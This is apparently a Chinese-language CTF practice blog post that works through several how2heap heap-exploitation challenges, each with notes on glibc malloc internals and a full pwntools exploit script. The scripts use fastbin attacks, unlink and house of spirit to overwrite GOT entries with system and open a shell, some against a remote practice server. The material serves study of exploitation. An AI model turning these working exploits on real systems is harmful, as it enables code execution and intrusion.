从今天开始写how2heap里面的一些例题，这里会放对应的exp。
babyheap_0ctf_2017(2020.11.25 - 54min)
由于是calloc申请空间的，所以chunk overlapping后需要恢复覆盖到的heap的size。
- heap overflow
- chunk overlapping
- unsorted bin leak
- fastbin attack
__malloc_hook one_gadget
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| from pwn import *
from LibcSearcher import *
context.log_level = "debug"
#r = process('./babyheap_0ctf_2017')
r = remote('node3.buuoj.cn', 26704)
elf = ELF('./babyheap_0ctf_2017')
def choice(idx):
r.sendlineafter("Command: ", str(idx))
def add_heap(size):
choice(1)
r.sendlineafter("Size: ", str(size))
def edit_heap(idx, content):
choice(2)
r.sendlineafter("Index: ", str(idx))
r.sendlineafter("Size: ", str(len(content)))
r.sendafter("Content: ", content)
def delete_heap(idx):
choice(3)
r.sendlineafter("Index: ", str(idx))
def show_heap(idx):
choice(4)
r.sendlineafter("Index: ", str(idx))
add_heap(0x18) #0
add_heap(0x18) #1
add_heap(0x88) #2
add_heap(0x18) #3
edit_heap(0, 'a' * 0x18 + '\xb1')
delete_heap(1)
add_heap(0xa8) #1
edit_heap(1, 'a' * 0x18 + '\x91')
delete_heap(2) #2
show_heap(1)
main_arena_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 88
print "main_arena_addr: " + hex(main_arena_addr)
malloc_hook_addr = main_arena_addr - 0x10
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
print "libc_base: " + hex(libc_base)
add_heap(0x68) #2
delete_heap(2)
edit_heap(1, 'a' * 0x18 + p64(0x71) + p64(malloc_hook_addr - 0x23))
add_heap(0x68) #2
add_heap(0x68) #4
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[2]
print "one_gadget: " + hex(one_gadget)
edit_heap(4, 'a' * 0x13 + p64(one_gadget))
delete_heap(4)
#gdb.attach(r)
r.interactive()
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Hitcon 2016 SleepyHolder(2020.11.26 - 65min)
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void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
unsigned int buf; // [rsp+4h] [rbp-1Ch]
int fd; // [rsp+8h] [rbp-18h]
int v6; // [rsp+Ch] [rbp-14h]
char s; // [rsp+10h] [rbp-10h]
unsigned __int64 v8; // [rsp+18h] [rbp-8h]
v8 = __readfsqword(0x28u);
sub_400CEB();
puts("Waking Sleepy Holder up ...");
fd = open("/dev/urandom", 0);
read(fd, &buf, 4uLL);
buf &= 0xFFFu;
malloc(buf);
sleep(3u);
puts("Hey! Do you have any secret?");
puts("I can help you to hold your secrets, and no one will be able to see it :)");
while ( 1 )
{
puts("1. Keep secret");
puts("2. Wipe secret");
puts("3. Renew secret");
memset(&s, 0, 4uLL);
read(0, &s, 4uLL);
v3 = atoi(&s);
v6 = v3;
switch ( v3 )
{
case 2:
delete_heap();
break;
case 3:
read_content();
break;
case 1:
add_heap();
break;
}
}
}
unsigned __int64 add_heap()
{
int v0; // eax
char s; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("What secret do you want to keep?");
puts("1. Small secret");
puts("2. Big secret");
if ( !huge_chunk_inuse )
puts("3. Keep a huge secret and lock it forever");
memset(&s, 0, 4uLL);
read(0, &s, 4uLL);
v0 = atoi(&s);
if ( v0 == 2 )
{
if ( !large_chunk_inuse )
{
large_chunk_ptr = calloc(1uLL, 0xFA0uLL);
large_chunk_inuse = 1;
puts("Tell me your secret: ");
read(0, large_chunk_ptr, 0xFA0uLL);
}
}
else if ( v0 == 3 )
{
if ( !huge_chunk_inuse )
{
huge_chunk_ptr = calloc(1uLL, 0x61A80uLL);
huge_chunk_inuse = 1;
puts("Tell me your secret: ");
read(0, huge_chunk_ptr, 0x61A80uLL);
}
}
else if ( v0 == 1 && !small_chunk_inuse )
{
small_chunk_ptr = calloc(1uLL, 0x28uLL);
small_chunk_inuse = 1;
puts("Tell me your secret: ");
read(0, small_chunk_ptr, 0x28uLL);
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 delete_heap()
{
int v0; // eax
char s; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Which Secret do you want to wipe?");
puts("1. Small secret");
puts("2. Big secret");
memset(&s, 0, 4uLL);
read(0, &s, 4uLL);
v0 = atoi(&s);
if ( v0 == 1 )
{
free(small_chunk_ptr);
small_chunk_inuse = 0;
}
else if ( v0 == 2 )
{
free(large_chunk_ptr);
large_chunk_inuse = 0;
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 read_content()
{
int v0; // eax
char s; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Which Secret do you want to renew?");
puts("1. Small secret");
puts("2. Big secret");
memset(&s, 0, 4uLL);
read(0, &s, 4uLL);
v0 = atoi(&s);
if ( v0 == 1 )
{
if ( small_chunk_inuse )
{
puts("Tell me your secret: ");
read(0, small_chunk_ptr, 0x28uLL);
}
}
else if ( v0 == 2 && large_chunk_inuse )
{
puts("Tell me your secret: ");
read(0, large_chunk_ptr, 0xFA0uLL);
}
return __readfsqword(0x28u) ^ v3;
}
|
由于只能申请三个chunk, small chunk: 0x38, large chunk: 0xFA0, huge chunk: 0x61A80。
huge chunk 用于隔开top chunk，主要利用在于small chunk和large chunk。
Free后指针没有清0，可以free多次。但是由于只能申请一个chunk，所以一般的fastbin attack是不行的。
这里的做法是利用malloc_consolidate来使fastbin进入unsorted bin。
malloc_consolidate 触发条件
- 申请一块为 large bin 范围内的chunk (x86: 0x400; x64: 0x800)
- 申请一块大于 top chunk 的chunk
- 在free函数合并chunk后，如果合并的chunk满足以下条件
- 不属于fastbin
- 不属于map
- 不与top chunk相邻
- size大于FASTBIN_CONSOLIDATION_THRESHOLD(0x10000)
malloc_consolidate 会干什么
- 清空fastbinY
- 向前合并, unlink
- 判断后一块是不是top chunk，如果是则合并
- 向后合并, unlink
- 清除操作堆块的下一块的p标志位(PREV_INUSE)
- 把fastbin合并后放入unsorted bin中
malloc_consolidate 怎么利用
由于double free的时候会检测fastbin链表的头部，如果头部和当前要释放的指针是同一个，那就触发了double free，从而导致了检测报错。所以一般用a->b->a的方式来绕过，但是这个绕过方法的前提是至少需要申请两个chunk
但是在只能申请一个chunk的题目中，那么利用malloc_consolidate是最好的方法。
这个函数会把当前fastbin的内容放入到unsorted bin中，那么我们这时候再free一次，就构成了，
fastbin有一个指针，unsorted bin又有一个指针，那么就构成了double free。
但是这个double free不是一般利用方法，我们要凭借着malloc_consolidate清除的操作堆块的下一块的p标志位(PREV_INUSE)，来进行伪造堆块(fake chunk)，成功达成unlink中最重要的条件，来进行unlink从而控制全局堆指针数组。
值得一提的是，如果程序对申请堆块进行了限制，那么可以利用scanf等函数，输入大于0x400长度的文本，函数会申请一块大于0x400的chunk来当做缓冲区，此时也可以触发malloc_consolidate。
题目操作
- double free(malloc_consolidate)
- unlink
- free -> puts, leak [email protected]
- free -> system
- getshell
除了第一步，其他都是常规操作了，如果unlink那里没懂的，可以看一下我的另一篇文章，那里有详细的介绍。
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| # -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
#r = process('./sleepyHolder_hitcon_2016')
r = remote('node3.buuoj.cn', 26219)
elf = ELF('./sleepyHolder_hitcon_2016')
flag = False
def choice(idx):
r.sendlineafter("3. Renew secret\n", str(idx))
def malloc(type, content):
#0x28 0xFA0 0x61A80
choice(1)
if flag:
r.sendlineafter("2. Big secret\n", str(type))
else:
r.sendlineafter("3. Keep a huge secret and lock it forever\n", str(type))
r.sendlineafter("Tell me your secret: \n", content)
def free(type):
choice(2)
r.sendlineafter("2. Big secret\n", str(type))
def edit(type, content):
choice(3)
r.sendlineafter("2. Big secret\n", str(type))
r.sendlineafter("Tell me your secret: \n", content)
#double free
malloc(1, 'small')
malloc(2, 'big')
free(1)
malloc(3, 'large') #malloc_consolidate
free(1)
#unlink
ptr = 0x6020D0
FD = ptr - 0x18
BK = ptr - 0x10
flag = True
malloc(1, p64(0) + p64(0x21) + p64(FD) + p64(BK) + p64(0x20))
free(2)
#leak [email protected]
edit(1, 'a' * 8 + p64(elf.got['atoi']) + p64(0) + p64(elf.got['free']))
edit(1, p64(elf.plt['puts']) + p64(elf.plt['puts'] + 6))
free(2) #puts(elf.got['atoi'])
atoi_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print 'atoi_addr: ' + hex(atoi_addr)
libc = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
print 'libc_base: ' + hex(libc_base)
#free -> system
system_addr = libc_base + libc.dump('system')
print 'system_addr: ' + hex(system_addr)
edit(1, p64(system_addr) + p64(elf.plt['puts'] + 6))
#getshell
malloc(2, 'sh\x00')
free(2)
r.interactive()
|
HITCON CTF 2014-stkof(2020-11-26 60min)
这道题的难度并不应该需要60min，只是一个简单的unlink。
但是这道题有个坑，现在都没怎么搞明白的坑。
系统会malloc两个块，并且分别穿插在你申请的第一个堆块的上面(0x1011)和下面(0x411)。
查看数据大概猜测，上面那个chunk应该是读入数据时候使用的chunk，而下面的chunk就是输出数据的时候使用的chunk。
分别是fgets和puts创建的。
我刚开始调试的时候百思不得其解，按理来说我都接受了数据，应该缓冲区里面的内容都会被释放吧，但是不知道为啥，这两个块就是卡在这里。
程序并没有进行 setvbuf 操作，因此在初次执行 io 函数时，会在堆上分配空间
所以必须在头部防止一个chunk，来防止这两个块阻拦。从而达到成功修改PREV_INUSE的目的。
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| # -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
r = process('./stkof')
#r = remote('node3.buuoj.cn', 29634)
elf = ELF('./stkof')
def choice(idx):
r.sendline(str(idx))
def malloc(size):
choice(1)
r.sendline(str(size))
r.recvuntil('OK\n')
def free(idx):
choice(3)
r.sendline(str(idx))
#r.recvuntil('OK\n')
def edit(idx, content):
choice(2)
r.sendline(str(idx))
r.sendline(str(len(content)))
r.send(content)
r.recvuntil('OK\n')
malloc(0x18)
malloc(0x88)
malloc(0x88)
ptr = 0x602140 + 0x10
FD = ptr - 0x18
BK = ptr - 0x10
edit(2, p64(0) + p64(0x81) + p64(FD) + p64(BK) + 'a' * (0x88 - 0x20 - 0x8) + p64(0x80) + '\x90')
free(3)
#gdb.attach(r)
edit(2, 'a' * 0x18 + p64(elf.got['free']) + p64(elf.got['atoi']) + p64(elf.got['atoi']))
edit(2, p64(elf.plt['puts']))
free(3)
atoi_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
edit(4, p64(system_addr))
r.sendline('sh\x00')
r.interactive()
|
嗯，果然是puts申请了0x400，用完还不释放。
2017 insomni’hack wheelofrobots(2020-11-27 225min)
都是熟悉的操作，组合在一起居然可以这么难(恶心)。
做这道题的时候脑子太浑浊了，建议可以把思路写下来再做。
- UAF & fastbin attack
- heap overflow
- unlink
- [email protected] -> [email protected] & leak
- [email protected] -> [email protected]
- getshell
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| # -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
r = process('./wheelofrobots')
elf = ELF('./wheelofrobots')
def choice(idx):
r.sendlineafter("Your choice : ", str(idx))
def add_heap(type, size = 0):
choice(1)
r.sendlineafter("Your choice :", str(type))
if type == 2:
r.sendlineafter("Increase Bender's intelligence: ", str(size))
if type == 3:
r.sendlineafter("Increase Robot Devil's cruelty: ", str(size))
if type == 6:
r.sendlineafter("Increase Destructor's powerful: ", str(size))
def delete_heap(type):
choice(2)
r.sendlineafter("Your choice :", str(type))
def edit_heap(type, content):
choice(3)
r.sendlineafter("Your choice :", str(type))
r.sendlineafter("Robot's name: ", content)
def mark(data):
choice(1)
r.sendlineafter("Your choice :", '1111' + data[0])
#change size
add_heap(2, 1)
delete_heap(2)
mark('\x01')
heap3_size = 0x603140
edit_heap(2, p64(heap3_size - 0x8))
mark('\x00')
add_heap(2, 1) #fastbin: 0x603140->0
add_heap(3, 0x21) #fastbin check
add_heap(1) #0x603140
delete_heap(2)
delete_heap(3)
#unlink
add_heap(6, 7) #98 A1
edit_heap(1, p64(0x8)) #change size, heap overflow
add_heap(4) #key
ptr = 0x6030E8
FD = ptr - 0x18
BK = ptr - 0x10
edit_heap(6, p64(0) + p64(0x91) + p64(FD) + p64(BK) + 'a' * (0x98 - 0x20 - 0x8) + p64(0x90) + p64(0xFB0)) # fake chunk
delete_heap(4) #unlink
#leak
add_heap(2, 1)
edit_heap(6, 'a' * 0x18 + p64(elf.got['free']) + p64(elf.got['atoi']) + '\n')
#[email protected] -> [email protected]
edit_heap(6, p64(elf.plt['puts']) + '\n')
delete_heap(2)
atoi_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
#[email protected] -> [email protected]
edit_heap(6, p64(system_addr) + '\n')
#getshell
add_heap(2, 1)
edit_heap(2, "sh")
delete_heap(2)
r.interactive()
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hack.lu CTF 2014-OREO(2020-11-28 - 227min)
学习了一下house of spirit，这个操作的基本思想就是构造chunk malloc和free条件，从而伪造堆块（到堆栈上）。
这里分为malloc和free两个部分
malloc的时候fastbin的主要检测就是size位是否符合;
free的时候有两个检测：
- 对当前chunk的SIZE位的检测，IS_MMAPPED 位和 NON_MAIN_ARENA位都要为0，PREV_INUSE不影响。
- free的时候有一个对next chunk的检测
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| if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
|
意思就是next chunk (根据当前的size计算得出)的size要在2 * SIZE_SZ <= size <= av->system_mem范围内，在64为下SIZE_SZ为8，也就是要大于0x10，system_mem是128kb，也就是要小于128kb(0x20000)
这道题很多打印都没有\n，所以信息不会立马返回，要用r.sendline来代替r.sendlineafter
这道题伪造的chunk在BSS上，在堆栈上的题目也是这个原理，但是要更加复杂一些。
chunk的结构体，用IDA导入(Shift + F1)，方便分析程序。
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| struct node
{
char description[25];
char name[27];
_DWORD next_ptr;
};
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| from pwn import *
from LibcSearcher import *
context.log_level = "debug"
r = process('./oreo')
elf = ELF('./oreo')
def choice(idx):
#r.sendlineafter("Action: ", str(idx))
r.sendline(str(idx))
def add(next_ptr):
choice(1)
r.sendline('a' * (0x38 - 0x19 - 0x4) + p32(next_ptr))
r.sendline('sh\x00')
#r.sendlineafter("Rifle name: ", 'a' * (0x38 - 0x19 - 0x4) + p32(next_ptr))
#r.sendlineafter("Rifle description: ", 'a')
def show():
choice(2)
def free():
choice(3)
def add_msg(msg):
choice(4)
r.sendline(msg)
#r.sendlineafter("Enter any notice you'd like to submit with your order: ", msg)
def show_stats():
choice(5)
msg_chunk_ptr = 0x0804A2C0
add(elf.got['puts'])
show()
puts_addr = u32(r.recvuntil('\xf7')[-4:].ljust(4, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print "libc_base: " + hex(libc_base)
system_addr = libc_base + libc.dump('system')
#fake chunk mark (0x41)
for i in range(0x41 - 0x2):
add(0)
add_msg(p32(0) + p32(0x41) + '\x00' * (0x40 - 0x8) + p32(0x21))
add(msg_chunk_ptr + 0x8)
free()
order_msg_ptr = 0x0804A2A8
FD = order_msg_ptr - 0x8
add_msg(p32(0) + p32(0x41) + p32(FD))
add(0)
choice(1)
r.sendline('a')
r.sendline(p32(elf.got['free']))
#free -> system
add_msg(p32(system_addr) + p32(elf.plt['fgets'] + 6))
add(0)
free()
r.interactive()
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后续更新：
这道题目远程打不通，这里给出靶机提供者所说的话
cutz: yea the libc is self compiled [and] guessing offset sucks ^^
- 所以这道题可能要用ret2_dl_resolve来做。
这道题目虽然是NO RELRO，但是没有空间可以用于写入STRTAB。所以暂时不知道怎么解决。- 我终于解决了，成功篡改STRTAB，但是需要很多的技巧，这部分内容我选择放到：https://blog.wjhwjhn.com/archives/81/ 这篇文章中，作为NO RELRO的例子来描述。
- 在how2heap看到的一篇文章，因为是英文的，所以没有仔细研究：http://wapiflapi.github.io/2014/11/17/hacklu-oreo-with-ret2dl-resolve.html
2020-11-29 后面的太难了，先去做点基础的练练手，poison_null_byte.c
wjh 收录于 Pwn
嗯，果然是puts申请了0x400，用完还不释放。